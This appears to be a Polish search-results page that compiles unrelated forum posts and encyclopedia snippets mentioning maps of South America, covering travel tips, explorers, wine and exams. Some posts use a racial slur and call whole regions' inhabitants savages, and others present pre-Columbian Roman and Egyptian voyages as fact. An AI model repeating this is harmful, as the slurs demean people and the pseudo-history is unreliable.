Wyniki wyszukiwania dla słów: Ameryka Południowa Mapa

Titus jest glupi i niedouczony...
jesli chodzi o historie to w ameryce przed Krzysiem K. byli wszyscy...tzn kolo
X wieku zawitali tam wikingowie,byc moze nawet troche wczesniej,na pewno
zalozyli osadke w ameryce pn,przypuszczalnie dotarli tez do poludniowej,przed
nimi byli tam jeszcze przypuszczalnie rzymianie oraz egipcjanie..ale to juz
bylo dawno temu...jakby tego bylo malo do ameryki pd dotarli tez chrzescijanie
w pierwszych wiekach naszej ery...chyba ze jezusik mial swojego klona...

a zeby bylo zabawniej doplynely tam takze murzynusy z afryki...zreszta patrzac
sie na mape widac ze z afryki do ameryki pd najblizej...

a chinczycy byli swoja droga...


Gość portalu: Marcus Crassus napisał(a):

> jesli chodzi o historie to w ameryce przed Krzysiem K. byli wszyscy...tzn
kolo
> X wieku zawitali tam wikingowie,byc moze nawet troche wczesniej,na pewno
> zalozyli osadke w ameryce pn,przypuszczalnie dotarli tez do poludniowej,przed
> nimi byli tam jeszcze przypuszczalnie rzymianie oraz egipcjanie..ale to juz
> bylo dawno temu...jakby tego bylo malo do ameryki pd dotarli tez
chrzescijanie
>
> w pierwszych wiekach naszej ery...chyba ze jezusik mial swojego klona...
>

Zabawna z ciebie figura.

Czy uwazasz, ze w zwiazku z tym co napisales ksiazka nie powinna sie ukazac,
czy ze Titus nie powinien na nia zwracac uwagi ?
> a zeby bylo zabawniej doplynely tam takze murzynusy z afryki...zreszta
patrzac
> sie na mape widac ze z afryki do ameryki pd najblizej...
>
> a chinczycy byli swoja droga...

Smutne ...
To wszystko jest bardzo smutne co sie stalo.
Szkoda mi tych naiwnych dobrodusznych ludzi co chcac pomoc innym
podrozuja po tych paskudnych krajach narazajac wlasne zycie.
Cisnie mi sie na usta pytanie po cholere sie pchaja tam gdzie ich nikt nie
prosi.
Lubie turystyke ale mnie zupelnie nie ciagna podroze po Bliskim czy Dalekim
Wschodzie, czy tez Afryce czy Poludniowej Ameryce.
To piekne okolice ktore znam z map, ksiazek i czasopism,
ale co z tego ze sa takie ladne kiedy tam taka dzicz mieszka ?

Sadam przesladowal wlasnych rodakow ale tez i wielu z tych jego rodakow
nie wiele sie rozni od samego Sadama.

Jeszcze bardziej martwi mnie to, ze duzo sie na tych stronach GW pomstuje na
naszych rodzimych politykow (i nie bez przyczyny), ale poziom dyskusji i
niektorych wymienianych tu opinii wskazuje na to, ze drodzy dyskutanci
nie wiele sa lepsi od politykow, ktorych tak sie tu krytykuje.
Jedni warci drugich.
Czasami mi szkoda tego co sie w kraju dzieje ale zaraz potem mysle sobie,
ze takie mamy panstwo jakie sobie sami sprawimy.
Smutne wnioski, czyz nie ?
A moze ktos mi doda wiary w rodakow, Irakijczykow, Amerykanow czy tak wogole
w ludzi ...

ZDRADZE CENNA TAJEMNICE!!!
NIGDY nie nalezy latac przez Londyn, Ateny, Paryz, Nowy Jork i Chicago!

To najbardziej zatloczone (poza Frankfurtem) lotniska swiata, a na dwoch
ostatnich do odwolania szeregu lotow zmusza w dodatku czesto kiepska pogoda,
zwlaszcza w zimie!).
Warto latac przez Kopenhage, Zurich, Genewe i Wieden. (dwa pierwsze sa
najlepsze!)

Latajacym do Tokio, Pekinu, Singapuru i Bangkoku polecam lotnisko w Seattle,
ktore jest malo obciazane! Z dwojga zlego, wole San Francisco od LAX, ktore
jest jednym z trzech najruchliwszych lotnisk w Stanach.

Do Australii, Nowej Zelandii, na Hawaje i Fidzi- LAX, to jednak to! (najwiecej
polaczen i linii-takze do RPA!

Lecac na wschodnie wybrzeze USA omijajcie Boston, Nowy Jork i Newark!
Znacznie lepiej ladowac w Waszyngtonie, a jesli leci sie na poludnie lub
poludniowy-zachod- w Atlancie (nowoczesne, sprawne i nieprzeciazone lotnisko)

Waszyngton i Houston sa najlepszymi i najpewniejszymi punktami odlotow do
Poludniowej Ameryki, zwlaszcza do Chile, Argentyny i Brazylii. Do Wenezueli,
Kostaryki, a zwlaszcza na Karaiby jest MASA niedrogich polaczen z Miami.

Czym i skad latac do Rosji, Mongolii i Kazachstanu nie wiem, bo ta czesc mapy
jest w moim gabinecie zaklejona papierem pakowym.

Wiem jedno: nie wszyscy wracaja z podrozy Aeroflotem oraz liniami ukrainskimi
(takze po Afryce: Ukraincy i Rosjanie wynajmuja ruskie maszynzy na charter i
sami je po paru glebszych pilotuja!!!! :-((()

Good luck and stay calm!


Niezłe :)
Sam widziałem podobna rzecz kiedy dziewczyna (3 klasa dawnego liceum) stoi pred mapą swiata i dostaje któres tam juz pytanie (bo na poprzednie nie potrafiła odpowiedzieć), tym razem w domysle proste: no to chociaż afryke pokaż
a ona po kilku minutach rozpaczliwych poszukiwań wskazuje amerykę południowa.....
(przy okazji wniosek: za poziom wiedzy uczniów odpowiadają nie tylko nauczyciele..)

Co do rysów to sprawa dość prosta, bo 2 wieżchołki na słowacji jeden w polsce (2499)
gorzej np z mount everestem: klasycznie to 8848 metrów, ale ostatnio coraz częściej 8850. A spotkałem jeszcze inne dane (w tym kilkadziesiąt metrów mniej np)

z innymi 8-tysięcznikami kłopot jest podobny (np Cho Oyu 8153 - 80203 i jeszcze kilka propozycji pomiedzy..)

to już nie jest pytanie - to juz jest mobbing
scanner2 napisał:

> Niezłe :)
> Sam widziałem podobna rzecz kiedy dziewczyna (3 klasa dawnego liceum) stoi
pred
> mapą swiata i dostaje któres tam juz pytanie (bo na poprzednie nie potrafiła
o
> dpowiedzieć), tym razem w domysle proste: no to chociaż afryke pokaż
> a ona po kilku minutach rozpaczliwych poszukiwań wskazuje amerykę
południowa...
> ..
> (przy okazji wniosek: za poziom wiedzy uczniów odpowiadają nie tylko
nauczyciel
> e..)
>

dziewczyna mogła być zastersowna i najprawdopodobniej była , skoro nie potrafiła
na mapie wskazać Afryki - może nie zamierzonym efektem twojego pytanie nie była
ocena jej umiejętności a ośmieszenie jej przed klasą .

ciezko opisac mape:)) Anglie to znajdziesz, a Ameryce Poludniowej Peru jest po
lewej stronie (hihi. pelna fachowosc wypowiedzi, co:)) a Nowa Anglia -na srodku
Kanady; w razie watpliwosci wez sobie nawet bardzo mala dokladna mape swiata
albo globus
a my, biedni zagubieni za labiryntem? Wojtek, nadal nic? ja nie mialam kiedy
probowac....
pzdr
P.

STRZELECKI PAWEŁ EDMUND (1797& & #35 8211;1873),
STRZELECKI PAWEŁ EDMUND (1797–1873), podróżnik, geolog i geograf; badacz
Australii; od 1853 czł. Król. Towarzystwa Geogr. i Tow. Król. w Londynie. W
1834–43 odbył podróż nauk. dookoła świata, prowadząc wielostronne badania
geogr. i dokonując odkryć geol.; 1834–35 prowadził badania w USA i Kanadzie,
gdzie odkrył m.in. złoża rud miedzi (nad jez. Ontario); 1836–38 badał złoża
miner. w Ameryce Pd., m.in. w Brazylii (Minas Gerais); 1838 udał się przez
Markizy, Hawaje, Tahiti i Nową Zelandię do Australii, gdzie odkrył złoto w
Nowej Pd. Walii; odkrycie to Strzelecki utrzymywał w tajemnicy na życzenie
gubernatora G. Gippsa, który obawiał się wybuchu „gorączki złota”; 1840
pierwszy zdobył najwyższy szczyt Australii i nazwał go Górą Kościuszki oraz
odkrył Ziemię Gippsa; 1841–43 prowadził badania geol. na Tasmanii. Opublikował
dzieło geogr. Physical Description of New South Wales and Van Diemen's Land
(1845), które zyskało duży rozgłos w geografii świat. (wyd. pol. Nowa
Południowa Walia 1958); oprac. mapę geol. Nowej Pd. Walii i Tasmanii; imieniem
Strzeleckiego nazwano m.in. szczyty w środk. Australii i na Wyspie Flindersa
oraz rzekę (Strzelecki Creek) w Australii; Pisma wybrane (1960).
W. SŁABCZYŃSKI Paweł Edmund Strzelecki. Podróże, odkrycia, prace, Warszawa
1957;
H.P.G. CLEWS Strzelecki's Ascent of Mount Kościuszko 1840, Melbourne 1973.

Ich nie obchodzi jakiś tam Tarnów, Łódź czy Wawa.
Widziałeś kiedyś atlas geograficzny złożony z myślą o rynku
północnoamerykańskim?
Kolejność map jest taka:

AMERYKA PÓŁNOCNA I ŚRODKOWA:
ogólna
Kanada lub USA (zależnie od tego, gdzie atlas wychodzi) ogólna;
Kanada lub USA NE, SE, SW, NW;
Meksyk;
Ameryka Środkowa i Karaiby.

AMERYKA POŁUDNIOWA:
ogólna;
4 bardziej szczegółowe, jak w Ameryce Płn.

EUROPA:
ogólna;
Wyspy Brytyjskie;
Anglia i Walia;
Szkocja;
Irlandia;
Francja;
Hiszpania i Portugalia;
Płw. Apeniński i Bałkański;
Europa Środkowa;
Skandynawia i państwa bałtyckie.

AZJA
...
AUSTRALIA I OCEANIA
...
AFRYKA
...

Tak mniej więcej wyglądają też ich priorytety w innych dziedzinach. (A w
biznesie ważniejsza od Europy jest Azja.)
A kiedy nie jest jeszcze opracowana Nowa Zelandia, ani nawet Wlk. Brytania,
nikt nia będzie się przejmował jakąś tam Polską. (A gdzie to w ogóle jest, ta
cała Polska - w Czechosłowacji?)

za synoptykiem z ICMu:

"""Wspominana w jednym z niedawnych komentarzy mapa temperatury powierzchniowej
Atlantyku wykonywana na podstawie kolejnych przelotów satelitów NOAA
(www.wetterzentrale.de/topkarte n/fsdivka.html) pokazuje istotne zmiany. Od
wschodnich wybrzeży Grenlandii odsuwa się na wschód od Islandii jęzor chłodnej
wody, Także okolice Nowej Funlandii oraz obszar między nią a południowym cyplem
Grenlandii są już w obszarze chłodnych wód. Świadczy to o osłabieniu i
zepchnięciu bardziej na południe Prądu Zatokowego. Tym samym kolejne niże znad
Atlantyku mogą już nie mieć tak wielkiej energii jak nękające nas w grudniu i
styczniu i cyrkulacja zachodnia osłabnie.

Na tej samej stronie można spojrzeć na pokrywę śnieżną całej północnej półkuli
(także z pomiarów satelitarnych). Cały kontynent Ameryki Północnej, aż do 45
stopnia pokryty jest śniegiem, na północ od Wielkich Jezior i Rzeki Świętego
Wawrzyńca jest go nawet i pól metra. Natomiast w Europie śnieg tylko w Górach
Skandynawskich, północno-wschodniej Rosji i w wysokich Alpach. """

Chce sie powiedziec: nareszcie.
Przebuduje sie pogoda. W Dolomitach ochlodzenie, przynajmniej na nastepne 10
dni. F/Level pojdzie az do poziomu morza!
dzisiaj bardzo slabe opady. Nastepnych prawie nie widac (moze za tydzien, ale
slabe).

Widze ze teraz to juz tak jest ze ludzie z nudow, zeby nie robic nic
porzytecznego to wymyslaja sobie co by tu zmienic.
My Polacy to tak juz potrafimy z lenistwa to narzekac i szukac dziury w calym.
Ale moze sie uprzemy i zmienimy wszedzie nazwy na poganskie i praslowianskie.
A jak mamy sie meczyc to zmienmy nazwy wszedzie. Po co poddawac sie ewolucji
kulturalno politycznym. Proponuje Bliski Wschod zamienic na Mezoptamie.
Grecja niech bedzie Hellada. Ameryke Poludniowa i Polnacna usunmy z map bo
kilkanascie setek lat temu przeciez ich tam nie bylo.

Nie mas sensu cofac sie do 1525 bo to przeciez wtedy Panstwo Krzyzackie oddalo
Zygmuntowi Staremu Chold Lenny i zaczelo egzystowac jako swiecki lennik
Rzeczypospolitej. Czylo znowu holdujemy tej naszej zatraconej Polskosci wiec
moze cofnijmy sie dalej moze tak do epoki kamienia lupanego i zacznijmy sobie
lby rozbijac kawalkiem granitu; moze wtedy do ladu dojdziemy.

co wolisz wolnosc czy pelne koryto?

"Trzy Gujany", Wenezuela i Kolumbia- mapy
Witam.
Jestem kierownikiem Polskiej Ekspedycji Rowerowej 2005, która w kwietniu
przyszłego roku wyruszy w podróż wokół Ameryki Południowej. Poszukuję
szczegółowych map Gujany Francuskiej, Surinamu, Gujany, Wenezueli i Kolumbii.
W Polsce trudno o takie mapy. Z reguły można trafić jakieś mapy w składnicach
czy empiku, ale sa w niezadowalającej jakości i skali. Byłbym wdzięczny za
jakąkolwiek pomoc w tej kwestii.
Jakub Pigóra.

mapy sa na www.touratech.de/shop/enter.html?lang=en-us - 75€ za zestaw
map rosyjskich 1:500 000 z calej Ameryki Poludniowej. Te mapy sa bardzo dobre,
w Afryce sprawdzaly sie w niesamowity sposob, nawet lepianki zaznaczone na
mapie mialy nazwy zgadzajace sie z rzeczywistoscia.
dobre sa tez mapy microsoft mappoint - mozna je wydrukowac
mappoint.msn.com - wygldaja na kiepskie, ale sa dokladne, sprawdzilam w
Namibii.
Marzena

Podziękowałem Ci za radę.

1. Tego co piszesz "wywodami" nie nazwałem.

2. Chodzenia na piechotę do Argentyny nie polecałem.

3. Życzyłem wyobraźni zamiast wymyslania sytuacji w których będę
pogranicznikowi mówił że mają kretynskie przepisy. Ty wymyśliłeś pieszą
przechadzkę. Podałem co najmniej 2 sytuacje w których bilet powrotny NIE JEST
wymagany:

a) A NA PEWNO, rozumiesz, NA PEWNO ludzie którzy jadą na Antarktydę nie mają
biletów powrotnych, POMIMO, że żadna mapa w Argentynie nie może być wydrukowana
bez terytorium Antarktydy i Malwinów. Niektórzy tam ZIMUJA i również mają
jedynie pieczątki na 3 mc.

b) Można sprowadzić z Argentyny jacht nie mając biletu powrotnego i w tym celu
wcale nie trzeba kupować biletu powrotnego, chodzić na piechotę po Atlantyku
ani udowadniać pogranicznikom kretynskosci przepisów.

4. W sytuacji kolegi na pewno wystarczyło kupić bilet do Chile czy Brazylii, a
nie powrotny do Europy. Albo mieć wystarczająco ważny powód nie posiadania
takiego biletu.

5. Poza tym sprawa jest ciekawa nie ze wzgledu na Antarktydę czy jachty tylko
ze względu na to że podróże po Ameryce Południowej rzadko ograniczają się do
jednego kraju i ten przepis może być dużym problemem.

Pogratuluj sobie złośliwości i tyle. Albo wybierz się gdzieś w świat na
dłużej to Ci ta kąśliwość uwag przejdzie.

EOL

Witam.
Dzięki za podpowiedź.
Wszystkie strony rowerowe na polskich serwerach znam już prawie na pamięć.
Ekipa jest w komplecie. Na dniach pojawi się nasz serwis internetowy na
www.ekspedycja.aktywni.gery.pl.
Poszukujemy teraz bardzo szczegółowych map Ameryki Południowej. Wszystkie
dostępne w internecie (znalezione przez nas) są już w opracowaniu. Niestety o
dokładne mapy w sieci ciężko. Nie widzi nam się też sprowadzanie całych
pakietów map z Francji czy Wielkiej Brytanii, gdyż ceny potrafią osłabić. Mamy
kilku sponsorów i nawiązaliśmy współpracę z innymi. Jeśli jest ktoś, kto może w
jakikolwiek sposób pomóc nam w wyprawie- prosze o kontakt na
ekspedycja@aktywni.gery.pl.
Mamy w planach wyruszenie w kwietniu przyszłego roku, więc czasu jest i mało i
dużo. Ogólnie staramy się rozkręcić nieco medialnie naszą ekspedycję. W czerwcu
napewno pojawi się artykuł w Gazecie Wrocławskiej... mamy też nadzieję na
bytność w innych mediach. Pozdrawiam.

duzo slow. duzo slow malo popartych faktami.
1. co do swiadomosci przecietnego amerykanina.
gdzie lezy kuba wie wiekszosc. tak jak wiekszosc polakow wie gdzie jest monako.
gdzie jest irak, podejzewam ze po ilosci czasu poswiecanemu tej sprawie w
mediach podobna ilosc sie orientuje. klopot bylby gdybysmy spytalo przecietnego
amerykanina gdzie jest polska, niemcy czy monako... no podejzewam ze by sie
napocil deczko.
ale chwile po tym spytajmy przecietnego polaka, albo powiem wiecej -
europejczyka, zeby wymienil wszystkie stany w usa, lub w kolejnosci podal jak
leza panstwa w ameryce srodkowej i poludniowej... no i mysle ze tu bylby juz
sport problem. a tak an marginesie, to podejzewam ze mielibysmy problemy z
upozadkowaniem na mapie panstw z bylej jugoslawii.
wiec dajmy sobie spokoj z porownaniami geograficznymi.

2.za kawaly o ruskich nei zamykali?
moja sasiadke chceli zamknac za dowcipokwanie ze smierci stalina, a jak
wyjasnisz brak karykatur, kawalow, a nawet polemiki z tym co dzialo sie u
wielkiego brata?
a teraz wolnoc tomku w swoim domku, o ile nie podkladasz bomb i nie rozsylasz
waglika.

Mapy świata i mapy Tatr
Niedawno odkryłam, że mamy dwa komplety po 14 zeszytów map
topograficznych „TATRY POLSKIE” w skali 1:10 000. Jest to wydanie III,
wprawdzie z roku1988, ale bardzo solidne wydane nakładem
Wydawnictwa „Czasopisma Wojskowe”.
Może jest ktoś zainteresowany?

Poza tym z Ilustrowanego Atlasu Świata w 24 odcinkach (dołączanych niedawno
do Gazety Wyborczej) mam i chętnie na coś zamienię:
4 - Niemcy, Kraje skandynawskie, Włochy
5 – Kraje alpejskie, Półwysep Bałkański – cz. Zachodnia, Grecja, Cypr, Turcja
zachodnia, Hiszpania i Portugalia
6 – Francja, Kraje Beneluksu, Małe państwa Europy, Wielka Brytania i Irlandia
14 – Afryka
18 – Stany Zjednoczone
20 – Ameryka Południowa
22 – Australia i Oceania

Ameryka Południowa - oprócz Domeyki
Inni POlacy w Ameryce Południowej.
Od XIX w. po Ameryce podróżowali i brali udział w badaniach również Polacy: I.
Domeyko (1838-1884 w Chile i Peru, prowadził prace z zakresu mineralogii i
geologii), P. E. Strzelecki (1834-1838 w USA, Kanadzie, gdzie odkrył złoża rudy
miedzi, i w Ameryce Południowej, gł. w Brazylii - odkrył złoża surowców
mineralnych), F.P. Wierzbicki (od 1834 w USA, 1849 sporządził pierwszy opis
geograficzny Kalifornii w języku angielskim), J. Warszewicz (1845-1850 prowadził
badania flory Ameryki Południowej i Środkowej), K. Jelski (1865-1869 badał faunę
Gujany, 1869-1878 Peru), C. J. Wysocki (1872-1879 penetrował pampy argentyńskie,
sporządził mapy Argentyny), J. Sztolcman (ekspedycje zoologiczne 1875-1881 Peru,
1882-1884 Ekwador), J. Siemiradzki (1882-1884 Ekwador, 1891 Patagonia, prowadził
prace z zakresu geologii), R. Zuber (1886-1892 badania geologiczne w Andach
Patagońskich, 1900-1910 w Wenezueli, Meksyku i USA), H. Zapałowicz (1888-89
badał florę w Patagonii), T. Jaczewski (1922-39 prowadził badania zoologiczne w
Brazylii i Meksyku).

Jezeli ludzie w Ameryce tak gloduja, to skad bierze sie tak duzy odsetek ludzi
z nadwaga? Moj kolega, kotry pojechal do Ameryki na wakacje nakreslil mi mniej
wiecej taki jej obraz: wszedzie jezdisz samochodem (trudno spotkac kogokolwiek
idacego chodnikiem, zreszta na wielu ulicach wogole nie ma chodnikow bo i po
co?), wszedzie klimatyzacja az latwo sie przeziebic (tzn jedziesz samochodem z
klima i masz chlodno, wychodzisz z samochodu i idziesz do pracy z parkingu 50 m
i jestes spocony, wchodzisz spocony do biurowca z klimatyzacja i masz chlodno),
wszystko kupujesz bez gotowki (karty kredytowe), a wiekszosc przez internet
(zwolnione z podatku stanowego), kupil tam komputer i monitor LCD przez
inetrnet i wyjechal na kilka dni, a jak wrocil wszystko lezalo przed domem
(nikt nie zabral, nikt nie kazal pokwitowac odbioru). Nawet dom mozesz tam
kupic przez internet i przywioza Ci go prawie gotowego na wielkiej platformie.
No i kazdy tam chodzi z telefonem komorkowym, a minuta rozmowy kosztuje kilka
centow (nikt nie uzywa tam SMS'ow bo po co, jak szybciej sie dogadasz a roznica
w cenie jest dla Amerykanina niezauwazalna). Moze Wy byliscie w jakiejs innej
Ameryce? Moze Wy tez widzicie to, co chcecie widziec? Moze co innego sie widzi
jak jedzie sie do prawdziwej pracy, a co innego jak do mycia garow? Tylko ilu
Amerykanow pracuje przy myciu garow? Kolega ani razu nie wspomnial mi o biedzie
czy zacofaniu, nie mowiac juz o polanalfabetach. Informatycy z ktorymi pracowal
swietnie znali sie na swojej robocie i nie bylo tam niedouczonych. Nie pamietam
gdzie dokldnie byl ten kolega, ale z mapy kojarze, ze w ktoryms z takich
srodkowo poludniowych stanow.

Raz jeszcze dziekuje Koledze za pierszej klasy informacje. Teraz czytam dane i
jezdze palcem po mapie Krakowa. A mam dwie najnowsze wydawnictwa Daunpol ( Shell
i PPWK ).

Co do tramwaji w Ameryce poludniowej to narazie tylko historia procz wyjatku,
jakies miasta Brazylii. Natomiast rozbudowuje sie linie metro. W Buenos Aires
buduje sie obecnie jedna linie zupelnie nowa a rozbudowuje jakies 4. W Santiago
( Chile ) sa naprawde linie fantastyczne bo budowane specialna technologia
odporna na czesienia ziemi. A trzepie tam czesto i dobrze. W Caracas (
Wenezuela ) jest takze swietne i nowoczesne metro. W Sao Paulo takze bez przerwy
rozbudowuje sie i rozciaga metro. Tylko ze czasem wyjezdza z tunelu nawierzch. W
Rio de Janeiro wydluzaja siec w kierunku plazy Copacabana i innych. Prawdziwy
boom. Ale system koleji podziemnych i ich rozciaglosc i zageszczenie w miescie
Meksyk wprowadzaja w podziw i zazdrosc.

Jednak duzo juz miast tutaj, w Ameryce Lacinskiej, maja doczesne plany
przywrocenia komunikacji tramwajowej ze wzgledow ekologicznych i teraz z
pewnoscia takze umotywowane zwrostem rozszalalym cen ropy naftowej.

Natomiast ciekawi mnie komentarz Kolegi co do Urugwaju. Czy moze zdradzic o co
chodzi ?

Pozdrawiam serdecznie

Henryk Nowak

Air Madrid - Mercosur Pass
Amigos

Planuje poleciec do Buenos Aires liniami Air Madrid (z Madrytu lub Barcelony).

W Argentynie i Chile mam zamiar sporo sie przemieszczac.

Dobrym rozwiazaniem bylby bilet MERCOSUR AIRPASS.

Mozna go kupic - co jest warunkiem - wraz z biletem na lot
miedzykontynentalny, np. Lufthansy.

Sprobujcie rozwiac moja watpliwosc, czy wymieniony bilet mozna rowniez jakis
sposob "zlozyc" z biletem Air Madrid do Ameryki Poludniowej?

Gdybym chcial Lufthanse+MAP, poszedlbym do biura Flyaway, wykreslil trasy,
policzyl mile i gotowe.

Natomiast AirMadrid....

Czy jest to technicznie mozliwe?
Czy ktos z Was juz to przerabial?

Pozdrawiam
Marcin

skype: martine.wu

Hmmm. Kostrzewski jest z pewnoscia wybitnym teksciarzem, bo oprocz tekstow groteskowych ma tez teksty genialne (np."W Bezksztaltnej Bryle Uwieziony"). Przemek Thiele to calkiem inna szkola. Juz nie tak metaforyczna, raczej prosta jak muzyka w ktorej sie obraca. Z tym ze Kolaboranci potrafili z prostego punk-rocka zrobic wirtuozerie i tak samo ma sie sprawa z tekstami Przemka.
W hiphopie jest ktos podobny. Łona. Jedna z niewielu wartościowych postaci na rodzimej scenie. Człowiek tak cholernie inteligentny ze rece same skladaja sie do oklaskow sluchajac jego idealnie trafionych porownan i moralow. A wszystko to opakowane w tak sielankowy nastroj ze az milo sie czlowiekowi robi ze mozna poruszac wspolczesne problemy w sposob humorystyczny, bez nadetej miny i groznego kaptura na glowie. Pozatym to jedyny w polsce mc ktory odwazyl sie zrobic jaja z muzyki ktora wykonuje .
A wracajac do mocnego uderzenia, Behemoth jest drugim po Vader zespolem metalowym ktory robi ogromna kariere na swiecie. Jest dopiero na poczatku tej drogi, ale swoja nowa plyta (Demigod) pokazal ze wbije sie w uszy zagranicznych sluchaczy bez pardonu. Teledysk promujacy plyte (Conquer All) jest bez watpienia najlepiej, najbardziej profesjonalnie wykonanym klipem jaki kiedykolwiek mial ktorykolwiek polski wykonawca. To juz po prostu zespol swiatowy pod kazdym wzgledem - muzycznym, produkcyjnym, promocyjnym. I teraz jeszcze potwierdza swoj profesjonalizm koncertowy na trasie w Stanach i Ameryce Poludniowej. Nic tylko pogratulowac chlopakom i byc dumnym ze dzieki nim Polska istnieje na muzycznej mapie swiata.

... spojz na mape, to zobaczysz ze moze 2-3 % terytorium turcji lezy w europie,
tak jak ceuta hiszpanska lezy w afryce czy guyana francuska w ameryce
poludniowej, a czy francja lezy geograficznie w ameryce poludniowej lub
hiszpania w afryce?

Israel jest kulturowo europejskim krajem, zgadzam sie z toba. I dobrze tez tak,
ze graja "u nas", bo jak by mieli jechac na mecz do pakistanu, iranu czy nawet
egiptu, to wiesz co tam by z nimi zrobili! Inaczej jak by spotkali te kraje na
meczu na jakis mistrzostwach w niemczech, to niebylby duzy problem, problem byl
by ogromny jednak, ja by musieli jechac do krajow arabskich/muzulmanskich.

I to jest powod, dlaczego oni w europie graja (oprocz oczywiscie tez pewnych
wzgledow "marketingowych", duzo ladniej wyglada grac w "europie" niz w azji, to
tez pewien prestiz [np. w przypadku azerbaidzanu czy kazachstanu]).

Ciesze sie ze Israel, Armenia i Gruzja (chszescianie i zydzi, kultura
europejska) graja u nas, ale Azerbaidzan i Turcje trzeba wykluczyc z europy do
federacji aziatyckiej, bo one z europa niemaja nic do czynienia. Cd.
kazachstanu to sam niejestem do konca pewny ...

Mi ciebie zal szakalu, a ja mam gdzies mape Ameryki, moge byc nawet jedna z
tych, ktorzy nie wiedza co to za kraj.Ale nie wcale z braku wiedzy, tylko
dlatego, ze mam taki kaprys, po co mi to potrzebne jak ja zyje dobrze i wszycy
inni rowniez. A swoja droga, jesli idzie o zwiedzanie to bardziej interesowala
by mnie wlasnie Ameryka Poludniowa. Wcale nie musze nawet zwiedzac USA, czy
Kanady bo jest wg mnie o wiele bardziej interesujacych miejsc na swiecie,
jezeli juz jestesmy tacy drobiazgowi. Nawet jesli moja noga nie postanie w
Kaliforni nigdy, to uwierz nie poczuje sie gorsza w zadnym sensie np. od
ciebie.Bo to w koncu twoje krajowe wczasy.Czy zajomosc tejze mapy tak wiele
znaczy w zyciu?

między innymi o ten egzotyczny rodowód chodzi:) Algierczycy i Izraelczycy robią
wino od czasów, kiedy jeszcze nikt o Francuzach czy Włochach nie słyszał (no
dobra o Algierczykach i Izraelczykach tez wtedy nikt nie wiedział, ale o teren
i historie upraw idzie:), wiec to jest bardzo mocna tradycja winiarska - tak od
cesarstwa Rzymskiego, a tej Brazylii to sam jestem ciekawy, bo z Południowej
Ameryki znam rewelacyjne wina z Chile, Argentyny czy Mexyku, ale o
brazylijskich nigdy niczego nie słyszałem, nie czytałem no i nie piłem.
No i po za tym, co pą Promil, pani Au.Lait (by zostac na forum:) i mnóstwo
innych osób może Ci potwierdzić, że Europa, poza Hiszpanią i naprawdę rzadkimi
(i co za tym idzie niedosięznie drogimi) paroma winami francuskimi, juz nie
istnieje na mapie win swiata.:) się pędzi wina na wspomagaczach i rasuje
chemią, to sie kończy w supermarketach, zapakowanym w kartonowe pudełko.

P:)

Najwazniejsze to dobre i duze serce....
Pojdz do CAA i wez: (1) mape FLorydy, (2) Mape Miami, (3) Przewodnik po
Florydzie. Przestudiuj to wszystko.

Po przyjezdzie do MIA pozycz na lotnisku samochod (jak masz prawo jazdy na
samochod; rowerem za daleko!) i objedz to co wystudiowalas w przewodniku jako
najciekawsze.

Trzymaj sie z daleka od srodmiescia Miami; Miami Beach jest ok.

Pod wieczor pojedz do jakiegos Shopping Center na zakupy.

I trzymaj auto zamkniete na klucz, bo inaczej ....

A dokad to jedziesz przez Miami? Na napewno nie na Kube; wiec do Poludniowej
Ameryki? Karaiby? Przyjemnej wycieczki.

Jak gdyby Polska byla mocarstwem.
> "Przyganial kociol garncowi"
> Czy jak napisze, ze ich tereny sa dziesiec albo i wiecej razy wieksze od Polski
> to zrobie blad ?
nie, są około 54,6 raza więksi obszarowo
> Czy jak napisze, ze maja 8 razy tyle ludnosci co Polska to sie pomyle ?
na to już ktoś odpowiedział.
> Czy jak napisze ze ich granice sa 20 razy dluzsze od polskich,
16,5 raza
> ze granicza z
> prawie wszystkimi kontynentami (uznajac Ameryke poludniowa i polnocna za jeden,
>
> wliczajac granice morska) to sklamie ?
kontynentów jest 7
Antarktyda,Australia,Ameryki(2),Azja,Afryka,Europa
graniczą z Ameryką Pn. Azją i Europą=3kontynrnty nawet gdyby ameryke liczyc jako
1 to daje najwyżej wynik 50%
> I z tej wlasnie perpektywy patrza na Polske jako na maly kraj, z poszarpana
> historia znaczona wielkimi zwyciestwami i wielkimi niespelnionymi ambicjami za
> ktore zamiast winic siebie obwiniaja wszystkich dookola !
Któży to wszystcy począwszy od pierwszej połowy XVII wieku, robili co się da by
usunąć Polskę z mapy Europy, w co szczególny wkład miała Rosja, i tak np w wieku
XVIII tylko jeden (sic!!!) sejm uchwalił cokolwiek, które to cokolwiek było
konstytucją 3 maja, reszta sejmów została zerwana za pomocą weta za pieniądze
sąsiadów w dużej mierze.

Liroj ma racje.

Jeszcze przed koncem obecnego stulecia Stany Zjednoczone Ameryki Polnocnej
znikna z mapy swiata (i to bez pomocy prez. Ahmadinejada) .

Zastapia je Stany Zjednoczone AmeryK [Polnocnej i Poludniowej).

Z siedziba rowniez w Waszyngtonie.

I w skrocie- rowniez...USA! :-))))))))))))))))))))))))))))))))))))))))))))))))))

od dawna bylem zaineresowany historia mezopotania 5000 bc posiadala informacje
o innych kontynetach turecki admiral posidal mape ameryki poludniowej dlugo
przed kolumbem portugalczycy posiadali wiecej informcji niz sie podaje.na ten
temat kosciul katolicki posiadal info.- jezuici- .dlatego wydaje mi sie ze
columbus tak w ciemno nie wyplynol.- mezopotnia to dzisij irak.

Dzis urodziny obchodzilby:

Vespucci [wespụczczi] Amerigo, ur. 18 III 1454, Florencja, zm. 22 II 1512,
Sewilla, żeglarz włoski, w służbie hiszpańskiej i portugalskiej; 1499–1502 jako
uczestnik wypraw hiszp. i portugalskich dotarł do Gujany, Wenezueli, Haiti,
opłynął wschodnie wybrzeże Ameryki Południowej; poznane lądy nazwał Nowym
Światem; opisy podróży i mapy zyskały mu wielką popularność; od jego imienia
nazwa Ameryka (z inicjatywy M. Waldseemüllera).

NIE JESTEM SAMA!!
Cieszę się, że nie jestem sama w załamaniu. Wos jest moim przedmiotem
OBOWIĄZKOWYM jeszcze pół roku temu wiedziałam prawie wszystko, dzisiaj wiem
prawie NIC.
Będzie samorząd terytorialny
Będą daty
Będą najbardziej niszowe organizacje ONZ
I będzie mapa, na której z wrażenia pomylę Amerykę Północną z Południową
A na poziomie rozszerzonym znowu trzeba będzie wypisywać po 8 podpunktów do
zadania za które będzie tylko 1 punkt po to żebyśmy stracili sporo czasu i nie
zdążyli napisać wypracowania. No i oczywiście nie będzie punktów czątkowych...

Ale co tam, przecież ZAWSZE można napisać poprawkę ;-))

TRZYMAJCIE SIĘ WSZYSCY
Damy sobie radę :-))))

trujesz, sp, trujesz
wez mape i popatrz uwaznie a zobaczysz.
